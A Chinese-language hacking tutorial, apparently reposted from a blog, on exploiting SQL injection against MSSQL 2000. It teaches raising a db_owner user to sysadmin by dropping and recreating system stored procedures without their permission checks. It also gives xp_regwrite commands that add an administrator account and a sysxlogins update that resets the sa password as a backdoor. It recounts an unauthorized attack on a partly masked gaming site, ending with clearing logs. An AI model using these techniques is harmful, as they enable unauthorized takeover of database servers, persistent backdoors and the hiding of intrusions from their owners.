Sql Injection脚本注入终极利用方法
考虑再三,偶还是决定发出来。此招手段歹毒,利用范围广泛,可以说是只要是有sql注射漏洞的网站,只要运用此法99%可以拿到webshell甚至系统权限(不敢
把话说满,呵呵,经本人数百次真实“实战演习”,基本上是100%可以拿到webshell甚至系统权限)。
记得我在《MSSQL db_owner角色注入直接获得系统权限(续)》中写过一种利用xp_regwrite来取得系统权限的方法:
xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentvers ion\run’,’x wq1’,’REG_SZ’,’net user xwq xwq /add’ xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentvers ion\run’,’x |
wq2’,’REG_SZ’,’net localgroup administrators xwq /add’,只要让网站所在
的服务器重起,就能得到系统权限。经过本人的数百次的真实实验,这种方法不
太实用,很容易引起网管的注意,再说ddos也是违法的事(偶可是好人啊),发
动一场ddos要花费的大量的人力,物力(看你的肉鸡多少拉)。所以不太可行(
除非是你十分想要搞定的网站)。
呵呵,哆嗦拉那么多,你可能看的已经不耐烦拉,好,这就介绍我的三大
必杀技之一————万能提权。
假如一个网站存在sql注射漏洞,如果这个网站是用固定服务器sysadmin权
限的用户作的连接(呵呵,通俗点说就是sa,菜鸟可以这样认为),呵呵,想要拿
到一个webshell或者是系统权限可以说是易如反掌,轻而易举的事,据我所知,
sysadmin权限要拿到webshell或者系统权限不下10种,呵呵,可能更多吧(偶只
会10种),sysadmin怎么拿到webshell或者系统权限,我不想多说,想比大家都
已经烂熟于心拉,可是要是一个网站是db_owner权限呢?你怎么办,你怎么拿系
统权限,怎么拿webshell(没有上传漏洞和数据库备份等功能),大家可能回说
backup a shell,我记得LCX也在《MSSQL db_owner角色注入直接获得系统权限》
里说过拉“备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,
你还能用它吗?”呵呵,要是我告诉你db_owner拿到一个webshell或者是系统权
限的方法和sysadmin权限的一样多,你回有什么反映,是不是觉得有点不可思议
,或者又是我胡说呢?(不相信的朋友,下面的内容就不要看拉)
呵呵,是不是看的心痒痒拉,迫不及待的想知道啊,好,我不在废话拉,这
就把我的三大必杀技之一————万能提升权限方法告诉大家。
在告诉大家之前,我们先做个实验
实验环境windowsxp sp1+SQL 2000 sp3,大家跟着我来step to step,首先新
建一个具有db_owner的权限的用户,这里我是xwq(就是在服务器角色里面什么都
不要选,在数据库角色里面钩上db_owner),好,现在我们打开查询分析器用xwq
连上后再里面输入sp_addlogin xuwenqiang,执行看看,出现拉什么?
服务器: 消息 2571,级别 14,状态 2,过程 sp_addlogin,行 16
用户 ’xwq’ 没有运行 DBCC auditevent 的权限。
服务器: 消息 15247,级别 16,状态 1,过程 sp_addlogin,行 17
用户没有执行此操作的权限。
呵呵,出现上面的错误信息这很正常,因为只有sysadmin 和 securityadmin 固
定服务器角色的成员才可以执行 sp_addlogin,那么怎么才好让sp_addlogin为我
所用呢?我们在这里看一下sp_addlogin的代码:
create procedure sp_addlogin @loginame sysname ,@passwd sysname = Null ,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT CONFIGURABLE??? ,@deflanguage sysname = Null ,@sid varbinary(16) = Null ,@encryptopt varchar(20) = Null end ELSE begin dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid) end |
只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。好,我们先把sp_addlogin删拉drop procedure sp_addlogin
然后再来恢复sp_addlogin
这样我这个只具有db_owner权限的xwq就可以任意增加用户拉,ok,在查询分析器里面在输入sp_addlogin xuwenqiang,执行看看,GOOD!返回已创建新登录。
我新建拉一个用户xuwenqiang,当然这个用户我可不是白建的,我要把他变成具有最高权限的用户,在sql中具有最高权限的当然是sysadmin拉,而把一个用户变
成sysadmin只有sp_addsrvrolemember这个存储过程拉,可是只有sysadmin权限的用户才好使用,不爽,偶要让他为我所用,呵呵,聪明的读者一定想到拉我怎么
让只具有db_owner权限的我,怎么使用sp_addsrvrolemember拉,没错,和让sp_addlogin为我所用的方法一样,只要去掉sp_addsrvrolemember中权限限制的
一段,我们就可以任意增加sysadmin拉,我们先看看sp_addsrvrolemember的代码:
@loginame sysname, -- login name
@rolename sysname = NULL -- server role name as -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES -- set nocount on declare @ret int, -- return value of sp call @rolebit smallint,, NULL, @rolename, NULL) raiserror(15247,-1,-1) return (1) end -- AUDIT A SUCCESSFUL SECURITY CHECK -- dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL) -- CANNOT CHANGE SA ROLES -- if @loginame = ’sa’ begin raiserror(15405, -1 ,-1, @loginame) return (1) end -- OBTAIN THE BIT FOR THIS ROLE -- select @rolebit = CASE @rolename WHEN ’sysadmin’ THEN 16 WHEN ’securityadmin’ THEN 32 WHEN ’serveradmin’ THEN 64 WHEN ’setupadmin’ THEN 128 WHEN ’processadmin’ THEN 256 |
把这一段删除 --
VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
select @ismem = is_srvrolemember(@rolename) if @ismem is null begin dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename, NULL) raiserror(15402, -1, -1, @rolename) return (1) end if @ismem = 0 begin dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename, NULL) raiserror(15247,-1,-1) return (1) end |
这样我们就可以任意增加sysadmin拉,呵呵,爽啊。在查询分析器里输入
sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到这里我们就
成功利用拉一个只具有db_owner权限的用户新建拉一个在SQL中具有至高无上权限
,也就是具有sysadmin权限的用户xuwenqiang,有拉sysadmin权限想要webshell或
者系统权限还不容易么!不要只把眼睛只放在我所说的sp_addlogin和
sp_addsrvrolemember这两个存储过程上,凡是只有sysadmin才好使用的存储过程
,利用我的万能提权必杀技,我们都可以使用。比如:sp-
configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很
多只好sysadmin权限能利用的,我们都可以让他们为我所用。
下面再举一个万能提权的例子
和我一起打造一个永远不会被杀及完美的后门
我们都知道在sql中有个被***称为后门的用户,那就是sa,sa 是内置的管理员
登录,而且不能进行更改和删除。呵呵,这是M$说的,要是你看过我写的另外一
篇文章《完全删除sa这个后门》就知道,其实sa也是好删除的。我们知道在sql可
以改密码的存储过程有sp_password,可是我们必须知道要改的用户的旧密码,才
可以更改,那么有没有办法再不知道旧密码的情况下更改sa的密码呢?有,其实
也就是利用sp_configure,sp_configure的功能是显示或更改当前服务器的全局配
置设置。sp_configure(用于更改配置选项)的执行许可权限默认授予 sysadmin
和 serveradmin 固定服务器角色。这很容易只要把sp_configure中检查权限的一
段删除,再重建,我们就好用拉。
ok,我们再
sp_configure ’allow updates’,1
go
RECONFIGURE WITH OVERRIDE
go
好拉这样我们才好更改sa的密码。接着update sysxlogins set
password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50C
BB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改
成拉111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完
全删除sa这个后门》。
实例:
下面对一个国内非常出名的站点进行善意的***测试,来对上面的知识进行一次大概的验证,出于影响等诸多因素,我们称这个站点为www.**173.com。www.**173.com这 个站点在游戏上很有名气,排名在前20名(我当时测试的时候),在这里我不想说我怎么找到的注射点,大家还可以找找,还是满多的(整个测试可真花费拉我不 少时间,别误会,我不是说时间花在“检测”上,而是都放在写程序里面拉,不写个像样点的程序,怎么让我为所欲为呢?整个***只有10分钟不到)。
在找到的注射点gametype=**(郁闷,要是当时测试的时候有nbsi2,偶可能要轻松不少),先输入drop procedure sp_addlogin,然后在IE里面输入(呵呵,我当然是在我写的程序里面输入拉)
接着再exec master..sp_addsrvrolemember xwq,sysadmin我们拿sql综合利用工具或者查询分析器连上看看,呵呵,成功拉,这样我们就在www.**17173.com的服务器上建拉一个具有最高权限的用户xwq拉,下面的事我想
大家都应该回做拉吧。呵呵,因为只是安全测试,我并没有深入下去,删拉帐号,清除日志,闪人。
看到拉吧,我的必杀技之一——万能提权的威力拉吧,只要是给我一个注射点,无论什么权限,我都会给你一个webshell甚至系统权限.呵呵,其实说万能 的提升权限方法的确是有点夸张拉,因为CREATE PROCEDURE 的权限默认授予 sysadmin 固定服务器角色成员和 db_owner 和 db_ddladmin 固定数据库角色成员,你要是碰到Public的权限,那就不好使用拉。不过不要以为换成public权限,就没有办法拿到webshell或者系统权限 拉,恰恰相反,据我所知public权限的用户拿到webshell甚至系统权限的方法至少也有5种。最好的防范方法就是杜绝注射漏洞,这才是治标又治本 的解决方法。(呵呵,要我说,最好连public的权限都不要给,可惜已经没有比public权限更低的角色拉,没办法谁叫public也可以利用很多有 危险的存储过程呢,而且public无法除去,看来M$对我们这些“坏人”还是很厚爱的哦
转载于:https://blog.51cto.com/zjland/58720
Sql Injection脚本注入终极利用方法相关推荐
- SQL map自动注入,利用工具注入
自动注入介绍 sql注入分为手动注入和自动注入,上一篇文章有讲过sql注入的一些门门道道,今天就来谈谈sqlmap自动注入.首先介绍的是一款开源工具sqlmap,sqlmap是国外一个著名的,安全稳定 ...
- nodejs mysql 注入_node.js sql 注入攻击防御方法 (sql Injection)
sql 注入的原理和方法应该都知道了,这里记录一下node-mysql提供的现成的api https://github.com/felixge/node-mysql node-mysql 提供了接口 ...
- 利用Navicat Premium将SQL Server数据库转为My SQL数据库(解决Mac无法打开SQL Server 脚本文件的方法)
利用Navicat Premium将SQL Server数据库转为My SQL数据库(解决Mac无法打开SQL Server 脚本文件的方法) 安装好Navicat Premium,SQL Serve ...
- sql注入详解 一文了解sql注入所有常见方法
前言 刷完了sqli-labs 对sql注入有了些许认识 在此做个小结与记录 1.什么是sql注入 sql,Structured Query Language,叫做结构化查询语言,管理数据库时用到的一 ...
- SQL Injection(SQL注入)介绍及SQL Injection攻击检测工具
1.关于SQL Injection 迄今为止,我基本没有看到谁写出一篇很完整的文章,或者说很成熟的解决方案(能做到 的人肯定很多,问题是没有流传开来,很遗憾) 我简单的说几点,希望启发大家思考,起到抛 ...
- 从入门到入土:[SEED-Lab]-SQL注入攻击|SQL Injection Attack Lab|详细说明|实验步骤|实验截图
此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) 本人博客所有文章纯属学习之用,不涉及商业利益.不合适引用,自当删除! 若 ...
- sql 数据库前两列值乘_SQL注入原理和方法汇总
本文首发于先知社区 前言: SQL注入是web安全中最常见的攻击方式,SQL注入有很多方法,但如果只知道payload,不知道原理,感觉也很难掌握,这次就总结一下我所遇到的SQL注入方法,原理分析+题 ...
- mysql服务攻击检测_SQL Injection(SQL注入)介绍及SQL Injection攻击检测工具
1.关于SQL Injection迄今为止,我基本没有看到谁写出一篇很完整的文章,或者说很成熟的解决方案(能做到 的人肯定很多,问题是没有流传开来,很遗憾) 我简单的说几点,希望启发大家思考,起到抛砖 ...
- mysql注入实例获取答案_本文实例讲述了MySQL解决SQL注入的另类方法。分享给大家供大家参考,具体如下:问题解读我觉得,这个问题每年带来的成本可以高达数十亿美元了。本文就来谈谈,...
本文实例讲述了MySQL解决SQL注入的另类方法.分享给大家供大家参考,具体如下: 问题解读 我觉得,这个问题每年带来的成本可以高达数十亿美元了.本文就来谈谈,假定我们有如下 SQL 模板语句: se ...
最新文章
- 实时个性化推荐系统简述
- vba如何让文本框显示指定的内容_室内LED显示屏如何安装?一篇内容了解清楚
- 如何修改root目录内容后打包
- 我的世界 文件保存位置
- boost::boost::stoer_wagner_min_cut用法的测试程序
- FindBugs插件
- 计算文本相似度_Python文本相似性计算
- Java并发教程–线程池
- 开发springboot项目,遇到的一些问题总结
- Android 系统(60)---JSON
- OpenShift Security (11) - 用RHACS在DevOps的CICD中扫描部署中的安全风险
- 实对称矩阵的特征值求法_实对称矩阵、相似、标准型、合同的逻辑网
- 模式识别复习 思维导图
- crystalReportViewer+ReceiveCrystalReport.rpt+DataSet.xsd做报表 转
- c语言指针读书笔记,《C与指针》读书笔记一
- ocr文字识别html,LEADTOOLS 创建基于HTML5的零占用OCR文字识别
- 易语言字符代码表(键盘)
- C语言中Const指针变量(常指针)
- 互斥锁、临界区和事件
- 解决python安装依赖包出现 Microsoft Visual C++ 14.0 or greater is required问题